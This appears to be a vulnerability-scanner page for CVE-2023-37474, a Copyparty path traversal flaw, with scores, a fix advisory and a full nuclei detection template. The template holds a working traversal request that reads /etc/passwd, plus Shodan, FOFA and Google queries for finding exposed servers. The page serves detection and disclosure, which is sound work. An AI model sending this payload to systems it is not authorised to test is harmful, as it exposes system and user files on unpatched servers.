Copyparty <= 1.8.2 - Directory Traversal

highseverity

7.5CVSS score

44.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Impact

Unauthenticated attackers can exploit path traversal in the .cpr subfolder to read arbitrary files from the file server, potentially accessing sensitive system files and user data stored outside the web document root.

Fix

Update Copyparty to version 1.8.2 or later that properly validates file paths in the .cpr subfolder and prevents directory traversal attacks.

How to confirm it

Send: GET {{BaseURL}}/.cpr/%2Fetc%2Fpasswd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-37474 -u <target>

The full check

id: CVE-2023-37474

info:
  name: Copyparty <= 1.8.2 - Directory Traversal
  author: shankar acharya,theamanrawat
  severity: high
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Unauthenticated attackers can exploit path traversal in the .cpr subfolder to read arbitrary files from the file server, potentially accessing sensitive system files and user data stored outside the web document root.
  remediation: |
    Update Copyparty to version 1.8.2 or later that properly validates file paths in the .cpr subfolder and prevents directory traversal attacks.
  reference:
    - https://github.com/9001/copyparty/
    - https://www.exploit-db.com/exploits/51636
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37474
    - http://packetstormsecurity.com/files/173822/Copyparty-1.8.2-Directory-Traversal.html
    - https://github.com/9001/copyparty/commit/043e3c7dd683113e2b1c15cacb9c8e68f76513ff
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-37474
    cwe-id: CWE-22
    epss-score: 0.4492
    epss-percentile: 0.98787
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2023,packetstorm,traversal,copyparty,copyparty_project,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/.cpr/%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

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